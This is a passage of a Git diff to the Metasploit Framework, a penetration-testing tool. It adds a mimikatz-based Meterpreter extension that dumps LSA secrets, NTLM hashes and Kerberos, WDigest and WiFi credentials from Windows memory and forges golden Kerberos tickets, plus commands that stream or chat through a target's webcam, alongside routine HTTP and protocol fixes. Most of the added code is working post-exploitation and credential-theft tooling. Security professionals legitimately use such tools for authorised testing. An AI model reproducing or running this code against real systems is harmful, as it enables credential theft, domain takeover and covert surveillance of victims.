Enumerate WMI objects. + # + def cmd_wmi_query(*args) + args.unshift("-h") if args.length < 1 + + root = nil + + @@wmi_query_opts.parse(args) { |opt, idx, val| + case opt + when "-r" + root = val + when "-h" + wmi_query_usage + return true + end + } + + query = args.shift + + objects = client.extapi.wmi.query(query, root) + + if objects + table = Rex::Ui::Text::Table.new( + 'Header' => query, + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => objects[:fields] + ) + + objects[:values].each do |c| + table << c + end + + print_line + print_line(table.to_s) + + print_line("Total objects: #{objects[:values].length}") + else + print_status("The WMI query yielded no results.") + end + + print_line + + return true + end + +end + +end +end +end +end + diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb new file mode 100644 index 0000000000..628df53d87 --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb @@ -0,0 +1,509 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + +### +# +# Kiwi extension - grabs credentials from windows memory. +# +# Benjamin DELPY `gentilkiwi` +# http://blog.gentilkiwi.com/mimikatz +# +# extension converted by OJ Reeves (TheColonial) +# +### +class Console::CommandDispatcher::Kiwi + + Klass = Console::CommandDispatcher::Kiwi + + include Console::CommandDispatcher + + # + # Name for this dispatcher + # + def name + "Kiwi" + end + + # + # Initializes an instance of the priv command interaction. This function + # also outputs a banner which gives proper acknowledgement to the original + # author of the Mimikatz 2.0 software. + # + def initialize(shell) + super + print_line + print_line + print_line(" .#####. mimikatz 2.0 alpha (#{client.platform}) release \"Kiwi en C\"") + print_line(" .## ^ ##.") + print_line(" ## / \\ ## /* * *") + print_line(" ## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )") + print_line(" '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)") + print_line(" '#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */") + print_line + + if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/) + + print_line + print_warning "Loaded x86 Kiwi on an x64 architecture." + end + end + + # + # List of supported commands. + # + def commands + { + "creds_wdigest" => "Retrieve WDigest creds", + "creds_msv" => "Retrieve LM/NTLM creds (hashes)", + "creds_livessp" => "Retrieve LiveSSP creds", + "creds_ssp" => "Retrieve SSP creds", + "creds_tspkg" => "Retrieve TsPkg creds", + "creds_kerberos" => "Retrieve Kerberos creds", + "creds_all" => "Retrieve all credentials", + "golden_ticket_create" => "Create a golden kerberos ticket", + "kerberos_ticket_use" => "Use a kerberos ticket", + "kerberos_ticket_purge" => "Purge any in-use kerberos tickets", + "kerberos_ticket_list" => "List all kerberos tickets", + "lsa_dump" => "Dump LSA secrets", + "wifi_list" => "List wifi profiles/creds" + } + end + + # + # Invoke the LSA secret dump on thet target. + # + def cmd_lsa_dump(*args) + check_privs + + print_status("Dumping LSA secrets") + lsa = client.kiwi.lsa_dump + + # the format of this data doesn't really lend itself nicely to + # use within a table so instead we'll dump in a linear fashion + + print_line("Policy Subsystem : #{lsa[:major]}.#{lsa[:minor]}") if lsa[:major] + print_line("Domain/Computer : #{lsa[:compname]}") if lsa[:compname] + print_line("System Key : #{to_hex(lsa[:syskey])}") + print_line("NT5 Key : #{to_hex(lsa[:nt5key])}") + print_line + print_line("NT6 Key Count : #{lsa[:nt6keys].length}") + + if lsa[:nt6keys].length > 0 + lsa[:nt6keys].to_enum.with_index(1) do |k, i| + print_line + index = i.to_s.rjust(2, ' ') + print_line("#{index}. ID : #{Rex::Text::to_guid(k[:id])}") + print_line("#{index}. Value : #{to_hex(k[:value])}") + end + end + + print_line + print_line("Secret Count : #{lsa[:secrets].length}") + if lsa[:secrets].length > 0 + lsa[:secrets].to_enum.with_index(1) do |s, i| + print_line + index = i.to_s.rjust(2, ' ') + print_line("#{index}. Name : #{s[:name]}") + print_line("#{index}. Service : #{s[:service]}") if s[:service] + print_line("#{index}. NTLM : #{to_hex(s[:ntlm])}") if s[:ntlm] + if s[:current] || s[:current_raw] + current = s[:current] || to_hex(s[:current_raw], ' ') + print_line("#{index}. Current : #{current}") + end + if s[:old] || s[:old_raw] + old = s[:old] || to_hex(s[:old_raw], ' ') + print_line("#{index}. Old : #{old}") + end + end + end + + print_line + print_line("SAM Key Count : #{lsa[:samkeys].length}") + if lsa[:samkeys].length > 0 + lsa[:samkeys].to_enum.with_index(1) do |s, i| + print_line + index = i.to_s.rjust(2, ' ') + print_line("#{index}. RID : #{s[:rid]}") + print_line("#{index}. User : #{s[:user]}") + print_line("#{index}. LM Hash : #{to_hex(s[:lm_hash])}") + print_line("#{index}. NTLM Hash : #{to_hex(s[:ntlm_hash])}") + end + end + + print_line + end + + # + # Valid options for the golden ticket creation functionality. + # + @@golden_ticket_create_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-u" => [ true, "Name of the user to create the ticket for" ], + "-i" => [ true, "ID of the user to associate the ticket with" ], + "-g" => [ true, "Comma-separated list of group identifiers to include (eg: 501,502)" ], + "-d" => [ true, "Name of the target domain (FQDN)" ], + "-k" => [ true, "krbtgt domain user NTLM hash" ], + "-t" => [ true, "Local path of the file to store the ticket in" ], + "-s" => [ true, "SID of the domain" ] + ) + + # + # Output the usage for the ticket listing functionality. + # + def golden_ticket_create_usage + print( + "\nUsage: golden_ticket_create [-h] -u <user> -d <domain> -k <krbtgt_ntlm> -s <sid> -t <path> [-i <id>] [-g <groups>]\n\n" + + "Create a golden kerberos ticket that expires in 10 years time.\n\n" + + @@golden_ticket_create_opts.usage) + end + + # + # Invoke the golden kerberos ticket creation functionality on the target. + # + def cmd_golden_ticket_create(*args) + if args.include?("-h") + golden_ticket_create_usage + return + end + + user = nil + domain = nil + sid = nil + tgt = nil + target = nil + id = 0 + group_ids = [] + + @@golden_ticket_create_opts.parse(args) { |opt, idx, val| + case opt + when "-u" + user = val + when "-d" + domain = val + when "-k" + tgt = val + when "-t" + target = val + when "-i" + id = val.to_i + when "-g" + group_ids = val.split(',').map { |g| g.to_i }.to_a + when "-s" + sid = val + end + } + + # all parameters are required + unless user && domain && sid && tgt && target + golden_ticket_create_usage + return + end + + ticket = client.kiwi.golden_ticket_create(user, domain, sid, tgt, id, group_ids) + + ::File.open( target, 'wb' ) do |f| + f.write ticket + end + + print_good("Golden Kerberos ticket written to #{target}") + end + + # + # Valid options for the ticket listing functionality. + # + @@kerberos_ticket_list_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-e" => [ false, "Export Kerberos tickets to disk" ], + "-p" => [ true, "Path to export Kerberos tickets to" ] + ) + + # + # Output the usage for the ticket listing functionality. + # + def kerberos_ticket_list_usage + print( + "\nUsage: kerberos_ticket_list [-h] [-e <true|false>] [-p <path>]\n\n" + + "List all the available Kerberos tickets.\n\n" + + @@kerberos_ticket_list_opts.usage) + end + + # + # Invoke the kerberos ticket listing functionality on the target machine. + # + def cmd_kerberos_ticket_list(*args) + if args.include?("-h") + kerberos_ticket_list_usage + return + end + + # default to not exporting + export = false + # default to the current folder for dumping tickets + export_path = "." + + @@kerberos_ticket_list_opts.parse(args) { |opt, idx, val| + case opt + when "-e" + export = true + when "-p" + export_path = val + end + } + + tickets = client.kiwi.kerberos_ticket_list(export) + + fields = ['Server', 'Client', 'Start', 'End', 'Max Renew', 'Flags'] + fields << 'Export Path' if export + + table = Rex::Ui::Text::Table.new( + 'Header' => "Kerberos Tickets", + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => fields + ) + + tickets.each do |t| + flag_list = client.kiwi.to_kerberos_flag_list(t[:flags]).join(", ") + values = [ + "#{t[:server]} @ #{t[:server_realm]}", + "#{t[:client]} @ #{t[:client_realm]}", + t[:start], + t[:end], + t[:max_renew], + "#{t[:flags].to_s(16).rjust(8, '0')} (#{flag_list})" + ] + + # write out each ticket to disk if export is enabled. + if export + path = "<no data retrieved>" + if t[:raw] + id = "#{values[0]}-#{values[1]}".gsub(/[\\\/\$ ]/, '-') + file = "kerb-#{id}-#{Rex::Text.rand_text_alpha(8)}.tkt" + path = ::File.expand_path(File.join(export_path, file)) + ::File.open(path, 'wb') do |x| + x.write t[:raw] + end + end + values << path + end + + table << values + end + + print_line + print_line(table.to_s) + print_line("Total Tickets : #{tickets.length}") + end + + # + # Invoke the kerberos ticket purging functionality on the target machine. + # + def cmd_kerberos_ticket_purge(*args) + client.kiwi.kerberos_ticket_purge + print_good("Kerberos tickets purged") + end + + # + # Use a locally stored Kerberos ticket in the current session. + # + def cmd_kerberos_ticket_use(*args) + if args.length != 1 + print_line("Usage: kerberos_ticket_use ticketpath") + return + end + + target = args[0] + ticket = '' + ::File.open(target, 'rb') do |f| + ticket += f.read(f.stat.size) + end + + print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes") + client.kiwi.kerberos_ticket_use(ticket) + print_good("Kerberos ticket applied successfully") + end + + def wifi_list_usage + print( + "\nUsage: wifi_list\n\n" + + "List WiFi interfaces, profiles and passwords.\n\n") + end + + # + # Dump all the wifi profiles/credentials + # + def cmd_wifi_list(*args) + # if any arguments are specified, then fire up a usage message + if args.length > 0 + wifi_list_usage + return + end + + results = client.kiwi.wifi_list + + if results.length > 0 + results.each do |r| + table = Rex::Ui::Text::Table.new( + 'Header' => "#{r[:desc]} - #{r[:guid]}", + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => [ + 'Name', 'Auth', 'Type', 'Shared Key' + ] + ) + + print_line + r[:profiles].each do |p| + table << [p[:name], p[:auth], p[:key_type], p[:shared_key]] + end + + print_line table.to_s + print_line "State: #{r[:state]}" + end + else + print_line + print_error("No wireless profiles found on the target.") + end + + print_line + return true + end + + # + # Dump all the possible credentials to screen. + # + def cmd_creds_all(*args) + method = Proc.new { client.kiwi.all_pass } + scrape_passwords("all", method) + end + + # + # Dump all wdigest credentials to screen. + # + def cmd_creds_wdigest(*args) + method = Proc.new { client.kiwi.wdigest } + scrape_passwords("wdigest", method) + end + + # + # Dump all msv credentials to screen. + # + def cmd_creds_msv(*args) + method = Proc.new { client.kiwi.msv } + scrape_passwords("msv", method) + end + + # + # Dump all LiveSSP credentials to screen. + # + def cmd_creds_livessp(*args) + method = Proc.new { client.kiwi.livessp } + scrape_passwords("livessp", method) + end + + # + # Dump all SSP credentials to screen. + # + def cmd_creds_ssp(*args) + method = Proc.new { client.kiwi.ssp } + scrape_passwords("ssp", method) + end + + # + # Dump all TSPKG credentials to screen. + # + def cmd_creds_tspkg(*args) + method = Proc.new { client.kiwi.tspkg } + scrape_passwords("tspkg", method) + end + + # + # Dump all Kerberos credentials to screen. + # + def cmd_creds_kerberos(*args) + method = Proc.new { client.kiwi.kerberos } + scrape_passwords("kerberos", method) + end + +protected + + def check_privs + if system_check + print_good("Running as SYSTEM") + else + print_warning("Not running as SYSTEM, execution may fail") + end + end + + def system_check + unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM") + print_warning("Not currently running as SYSTEM") + return false + end + + return true + end + + # + # Invoke the password scraping routine on the target. + # + # @param provider [String] The name of the type of credentials to dump + # (used for display purposes only). + # @param method [Proc] Block that calls the method that invokes the + # appropriate function on the client that returns the results from + # Meterpreter that lay in the house that Jack built. + # + # @return [void] + def scrape_passwords(provider, method) + check_privs + print_status("Retrieving #{provider} credentials") + accounts = method.call + + table = Rex::Ui::Text::Table.new( + 'Header' => "#{provider} credentials", + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => + [ + 'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash' + ] + ) + + accounts.each do |acc| + table << [ + acc[:domain] || "", + acc[:username] || "", + acc[:password] || "", + "#{acc[:auth_hi]} ; #{acc[:auth_lo]}", + to_hex(acc[:lm] || ""), + to_hex(acc[:ntlm] || "") + ] + end + + print_line table.to_s + return true + end + + # + # Helper function to convert a potentially blank value to hex and have + # the outer spaces stripped + # + # @param (see Rex::Text.to_hex) + # @return [String] The result of {Rex::Text.to_hex}, strip'd + def to_hex(value, sep = '') + value ||= "" + Rex::Text.to_hex(value, sep).strip + end + +end + +end +end +end +end + diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb index b92dbf9620..fd8fe65353 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb @@ -279,8 +279,11 @@ class Console::CommandDispatcher::Stdapi::Sys print_line("Server username: #{client.sys.config.getuid}") end + # + # Get the value of one or more environment variables from the target. + # def cmd_getenv(*args) - vars = client.sys.config.getenv(args) + vars = client.sys.config.getenvs(*args) if vars.length == 0 print_error("None of the specified environment variables were found/set.") diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb index d1526ba1ff..6ac989c899 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb @@ -22,13 +22,17 @@ class Console::CommandDispatcher::Stdapi::Webcam # def commands all = { + "webcam_chat" => "Start a video chat", "webcam_list" => "List webcams", "webcam_snap" => "Take a snapshot from the specified webcam", + "webcam_stream" => "Play a video stream from the specified webcam", "record_mic" => "Record audio from the default microphone for X seconds" } reqs = { + "webcam_chat" => [ "webcam_list" ], "webcam_list" => [ "webcam_list" ], "webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], + "webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], "record_mic" => [ "webcam_audio_record" ], } @@ -102,12 +106,15 @@ class Console::CommandDispatcher::Stdapi::Webcam rescue end if wc_list.length > 0 - print_status("Starting...") - client.webcam.webcam_start(index) - data = client.webcam.webcam_get_frame(quality) - print_good("Got frame") - client.webcam.webcam_stop - print_status("Stopped") + begin + print_status("Starting...") + client.webcam.webcam_start(index) + data = client.webcam.webcam_get_frame(quality) + print_good("Got frame") + ensure + client.webcam.webcam_stop + print_status("Stopped") + end if( data ) ::File.open( path, 'wb' ) do |fd| @@ -124,6 +131,166 @@ class Console::CommandDispatcher::Stdapi::Webcam end end + def cmd_webcam_chat(*args) + if client.webcam.webcam_list.length == 0 + print_error("Target does not have a webcam") + return + end + + server = 'wsnodejs.jit.su:80' + + webcam_chat_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner"], + "-s" => [ false, "WebSocket server" ] + ) + + webcam_chat_opts.parse( args ) { | opt, idx, val | + case opt + when "-h" + print_line( "Usage: webcam_chat [options]\n" ) + print_line( "Starts a video conversation with your target." ) + print_line( "Browser Requirements:") + print_line( "Chrome: version 23 or newer" ) + print_line( "Firefox: version 22 or newer" ) + print_line( webcam_chat_opts.usage ) + return + when "-s" + server = val.to_s + end + } + + + begin + print_status("Webcam chat session initialized.") + client.webcam.webcam_chat(server) + rescue RuntimeError => e + print_error(e.message) + end + end + + def cmd_webcam_stream(*args) + print_status("Starting...") + stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg" + player_path = Rex::Text.rand_text_alpha(8) + ".html" + duration = 1800 + quality = 50 + view = true + index = 1 + wc_list = [] + + webcam_snap_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help Banner" ], + "-d" => [ true, "The stream duration in seconds (Default: 1800)" ], # 30 min + "-i" => [ true, "The index of the webcam to use (Default: 1)" ], + "-q" => [ true, "The stream quality (Default: '#{quality}')" ], + "-s" => [ true, "The stream file path (Default: '#{stream_path}')" ], + "-t" => [ true, "The stream player path (Default: #{player_path})"], + "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ] + ) + + webcam_snap_opts.parse( args ) { | opt, idx, val | + case opt + when "-h" + print_line( "Usage: webcam_stream [options]\n" ) + print_line( "Stream from the specified webcam." ) + print_line( webcam_snap_opts.usage ) + return + when "-d" + duration = val.to_i + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-s" + stream_path = val + when "-t" + player_path = val + when "-v" + view = false if ( val =~ /^(f|n|0)/i ) + end + } + + print_status("Preparing player...") + html = %Q|<html> +<head> +<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE"> +<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE"> +<title>Metasploit webcam_stream - #{client.sock.peerhost} + + + + +
+Target IP  : #{client.sock.peerhost}
+Start time : #{Time.now}
+Status     : 
+
+
+ +

+www.metasploit.com + + + | + + ::File.open(player_path, 'wb') do |f| + f.write(html) + end + if view + print_status("Opening player at: #{player_path}") + Rex::Compat.open_file(player_path) + else + print_status("Please open the player manually with a browser: #{player_path}") + end + + print_status("Streaming...") + begin + client.webcam.webcam_start(index) + ::Timeout.timeout(duration) { + while client do + data = client.webcam.webcam_get_frame(quality) + if data + ::File.open(stream_path, 'wb') do |f| + f.write(data) + end + data = nil + end + end + } + rescue ::Timeout::Error + ensure + client.webcam.webcam_stop + end + + print_status("Stopped") + end + def cmd_record_mic(*args) path = Rex::Text.rand_text_alpha(8) + ".wav" play = true diff --git a/lib/rex/proto/dcerpc/ndr.rb b/lib/rex/proto/dcerpc/ndr.rb index f730378085..2129adae0f 100644 --- a/lib/rex/proto/dcerpc/ndr.rb +++ b/lib/rex/proto/dcerpc/ndr.rb @@ -34,7 +34,7 @@ class NDR # byte element_1; def self.byte(string) warn 'should be using Rex::Encoder::NDR' - return [string].pack('c') + return [string].pack('C') end # Encode a byte array diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index ecb4eb873d..b8efa19929 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -180,15 +180,15 @@ class Client timeout = (t.nil? or t == -1) ? 0 : t self.conn = Rex::Socket::Tcp.create( - 'PeerHost' => self.hostname, - 'PeerPort' => self.port.to_i, - 'LocalHost' => self.local_host, - 'LocalPort' => self.local_port, - 'Context' => self.context, - 'SSL' => self.ssl, - 'SSLVersion'=> self.ssl_version, - 'Proxies' => self.proxies, - 'Timeout' => timeout + 'PeerHost' => self.hostname, + 'PeerPort' => self.port.to_i, + 'LocalHost' => self.local_host, + 'LocalPort' => self.local_port, + 'Context' => self.context, + 'SSL' => self.ssl, + 'SSLVersion' => self.ssl_version, + 'Proxies' => self.proxies, + 'Timeout' => timeout ) end @@ -198,7 +198,7 @@ class Client def close if (self.conn) self.conn.shutdown - self.conn.close + self.conn.close unless self.conn.closed? end self.conn = nil @@ -480,7 +480,7 @@ class Client opts['headers']||= {} ntlmssp_flags = ::Rex::Proto::NTLM::Utils.make_ntlm_flags(ntlm_options) - workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) + workstation_name = Rex::Text.rand_text_alpha(rand(8)+6) domain_name = self.config['domain'] b64_blob = Rex::Text::encode_base64( @@ -703,7 +703,6 @@ class Client # Auth attr_accessor :username, :password - # When parsing the request, thunk off the first response from the server, since junk attr_accessor :junk_pipeline diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index e67da387f2..e2d425c6c9 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -40,7 +40,7 @@ class ClientRequest # 'encode_params' => true, 'encode' => false, - 'uri_encode_mode' => 'hex-normal', # hex-all, hex-random, u-normal, u-random, u-all + 'uri_encode_mode' => 'hex-normal', # hex-normal, hex-all, hex-noslashes, hex-random, u-normal, u-all, u-noslashes, u-random 'uri_encode_count' => 1, # integer 'uri_full_url' => false, # bool 'pad_method_uri_count' => 1, # integer @@ -112,12 +112,16 @@ class ClientRequest opts['vars_get'].each_pair do |var,val| var = var.to_s - val = val.to_s qstr << '&' if qstr.length > 0 qstr << (opts['encode_params'] ? set_encode_uri(var) : var) - qstr << '=' - qstr << (opts['encode_params'] ? set_encode_uri(val) : val) + # support get parameter without value + # Example: uri?parameter + if val + val = val.to_s + qstr << '=' + qstr << (opts['encode_params'] ? set_encode_uri(val) : val) + end end if (opts['pad_post_params']) diff --git a/lib/rex/proto/http/response.rb b/lib/rex/proto/http/response.rb index 8aeb61087a..1a08d13264 100644 --- a/lib/rex/proto/http/response.rb +++ b/lib/rex/proto/http/response.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +require 'uri' require 'rex/proto/http' module Rex @@ -66,7 +67,7 @@ class Response < Packet cookies = "" if (self.headers.include?('Set-Cookie')) set_cookies = self.headers['Set-Cookie'] - key_vals = set_cookies.scan(/\s?([^, ;]+?)=([^, ;]*?);/) + key_vals = set_cookies.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/) key_vals.each do |k, v| # Dont downcase actual cookie name as may be case sensitive name = k.downcase @@ -107,6 +108,25 @@ class Response < Packet end end + # Answers if the response is a redirection one. + # + # @return [Boolean] true if the response is a redirection, false otherwise. + def redirect? + [301, 302, 303, 307, 308].include?(code) + end + + # Provides the uri of the redirection location. + # + # @return [URI] the uri of the redirection location. + # @return [nil] if the response hasn't a Location header or it isn't a valid uri. + def redirection + begin + URI(headers['Location']) + rescue ::URI::InvalidURIError + nil + end + end + # # Returns the response based command string. # diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index 3c25440881..ca0ed82ec8 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -100,17 +100,17 @@ class Server # Initializes an HTTP server as listening on the provided port and # hostname. # - def initialize(port = 80, listen_host = '0.0.0.0', ssl = false, context = {}, comm = nil, ssl_cert = nil) - self.listen_host = listen_host - self.listen_port = port - self.ssl = ssl - self.context = context - self.comm = comm - self.ssl_cert = ssl_cert - - self.listener = nil - self.resources = {} - self.server_name = DefaultServer + def initialize(port = 80, listen_host = '0.0.0.0', ssl = false, context = {}, comm = nil, ssl_cert = nil, ssl_compression = false) + self.listen_host = listen_host + self.listen_port = port + self.ssl = ssl + self.context = context + self.comm = comm + self.ssl_cert = ssl_cert + self.ssl_compression = ssl_compression + self.listener = nil + self.resources = {} + self.server_name = DefaultServer end # More readable inspect that only shows the url and resources @@ -146,6 +146,7 @@ class Server 'Context' => self.context, 'SSL' => self.ssl, 'SSLCert' => self.ssl_cert, + 'SSLCompression' => self.ssl_compression, 'Comm' => self.comm ) @@ -268,7 +269,8 @@ class Server cli.send_response(resp) end - attr_accessor :listen_port, :listen_host, :server_name, :context, :ssl, :comm, :ssl_cert + attr_accessor :listen_port, :listen_host, :server_name, :context, :comm + attr_accessor :ssl, :ssl_cert, :ssl_compression attr_accessor :listener, :resources protected diff --git a/lib/rex/proto/iax2/call.rb b/lib/rex/proto/iax2/call.rb index 8f13f8323b..f0711f1b75 100644 --- a/lib/rex/proto/iax2/call.rb +++ b/lib/rex/proto/iax2/call.rb @@ -77,6 +77,11 @@ class Call chall = res[2][IAX_IE_CHALLENGE_DATA] end + if chall.nil? + dprint("REGAUTH: No challenge data received") + return + end + self.client.send_regreq_chall_response(self, chall) res = wait_for( IAX_SUBTYPE_REGACK, IAX_SUBTYPE_REGREJ ) return if not res diff --git a/lib/rex/proto/ipmi/channel_auth_reply.rb b/lib/rex/proto/ipmi/channel_auth_reply.rb index 8368fa494a..b2beb45dcc 100644 --- a/lib/rex/proto/ipmi/channel_auth_reply.rb +++ b/lib/rex/proto/ipmi/channel_auth_reply.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Rex module Proto diff --git a/lib/rex/proto/ipmi/open_session_reply.rb b/lib/rex/proto/ipmi/open_session_reply.rb index 8c6884c825..7add8e356c 100644 --- a/lib/rex/proto/ipmi/open_session_reply.rb +++ b/lib/rex/proto/ipmi/open_session_reply.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Rex module Proto diff --git a/lib/rex/proto/ipmi/rakp2.rb b/lib/rex/proto/ipmi/rakp2.rb index 2a633abc6f..fb28f06333 100644 --- a/lib/rex/proto/ipmi/rakp2.rb +++ b/lib/rex/proto/ipmi/rakp2.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Rex module Proto diff --git a/lib/rex/proto/natpmp/packet.rb b/lib/rex/proto/natpmp/packet.rb index 4ce7c88cba..c94a2130a3 100644 --- a/lib/rex/proto/natpmp/packet.rb +++ b/lib/rex/proto/natpmp/packet.rb @@ -12,32 +12,32 @@ module Proto module NATPMP # Return a NAT-PMP request to get the external address. - def self.external_address_request + def external_address_request [ 0, 0 ].pack('nn') end # Parse a NAT-PMP external address response +resp+. # Returns the decoded parts of the response as an array. - def self.parse_external_address_response(resp) - (ver, op, result, epoch, addr) = resp.unpack("CCSLN") + def parse_external_address_response(resp) + (ver, op, result, epoch, addr) = resp.unpack("CCnNN") [ ver, op, result, epoch, Rex::Socket::addr_itoa(addr) ] end # Return a NAT-PMP request to map remote port +rport+/+protocol+ to local port +lport+ for +lifetime+ ms - def self.map_port_request(lport, rport, protocol, lifetime) - [ Rex::Proto::NATPMP::Version, # version + def map_port_request(lport, rport, protocol, lifetime) + [ Rex::Proto::NATPMP::Version, # version protocol, # opcode, which is now the protocol we are asking to forward 0, # reserved lport, rport, lifetime - ].pack("ccnnnN") + ].pack("CCnnnN") end # Parse a NAT-PMP mapping response +resp+. # Returns the decoded parts as an array. - def self.parse_map_port_response(resp) - resp.unpack("CCSLnnN") + def parse_map_port_response(resp) + resp.unpack("CCnNnnN") end end diff --git a/lib/rex/proto/ntp.rb b/lib/rex/proto/ntp.rb new file mode 100644 index 0000000000..56091f7c6a --- /dev/null +++ b/lib/rex/proto/ntp.rb @@ -0,0 +1,3 @@ +# -*- coding: binary -*- +require 'rex/proto/ntp/constants' +require 'rex/proto/ntp/modes' diff --git a/lib/rex/proto/ntp/constants.rb b/lib/rex/proto/ntp/constants.rb new file mode 100644 index 0000000000..1d64bdd2af --- /dev/null +++ b/lib/rex/proto/ntp/constants.rb @@ -0,0 +1,12 @@ +# -*- coding: binary -*- +module Rex +module Proto +module NTP +VERSIONS = (0..7).to_a +MODES = (0..7).to_a +MODE_6_OPERATIONS = (0..31).to_a +MODE_7_IMPLEMENTATIONS = (0..255).to_a +MODE_7_REQUEST_CODES = (0..255).to_a +end +end +end diff --git a/lib/rex/proto/ntp/modes.rb b/lib/rex/proto/ntp/modes.rb new file mode 100644 index 0000000000..736b13a10a --- /dev/null +++ b/lib/rex/proto/ntp/modes.rb @@ -0,0 +1,130 @@ +# -*- coding: binary -*- + +require 'bit-struct' + +module Rex +module Proto +module NTP + + # A very generic NTP message + # + # Uses the common/similar parts from versions 1-4 and considers everything + # after to be just one big field. For the particulars on the different versions, + # see: + # http://tools.ietf.org/html/rfc958#appendix-B + # http://tools.ietf.org/html/rfc1059#appendix-B + # pages 45/48 of http://tools.ietf.org/pdf/rfc1119.pdf + # http://tools.ietf.org/html/rfc1305#appendix-D + # http://tools.ietf.org/html/rfc5905#page-19 + class NTPGeneric < BitStruct + # 0 1 2 3 + # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # |LI | VN | mode| Stratum | Poll | Precision | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + unsigned :li, 2, default: 0 + unsigned :version, 3, default: 0 + unsigned :mode, 3, default: 0 + unsigned :stratum, 8, default: 0 + unsigned :poll, 8, default: 0 + unsigned :precision, 8, default: 0 + rest :payload + end + + # An NTP control message. Control messages are only specified for NTP + # versions 2-4, but this is a fuzzer so why not try them all... + class NTPControl < BitStruct + # 0 1 2 3 + # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # |00 | VN | 6 |R E M| op | Sequence | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | status | association id | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | offset | count | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + unsigned :reserved, 2, default: 0 + unsigned :version, 3, default: 0 + unsigned :mode, 3, default: 6 + unsigned :response, 1, default: 0 + unsigned :error, 1, default: 0 + unsigned :more, 1, default: 0 + unsigned :operation, 5, default: 0 + unsigned :sequence, 16, default: 0 + unsigned :status, 16, default: 0 + unsigned :association_id, 16, default: 0 + # TODO: there *must* be bugs in the handling of these next two fields! + unsigned :payload_offset, 16, default: 0 + unsigned :payload_size, 16, default: 0 + rest :payload + end + + # An NTP "private" message. Private messages are only specified for NTP + # versions 2-4, but this is a fuzzer so why not try them all... + class NTPPrivate < BitStruct + # 0 1 2 3 + # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # |R M| VN | 7 |A| Sequence | Implementation| Req code | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | err | Number of data items | MBZ | Size of data item | + # 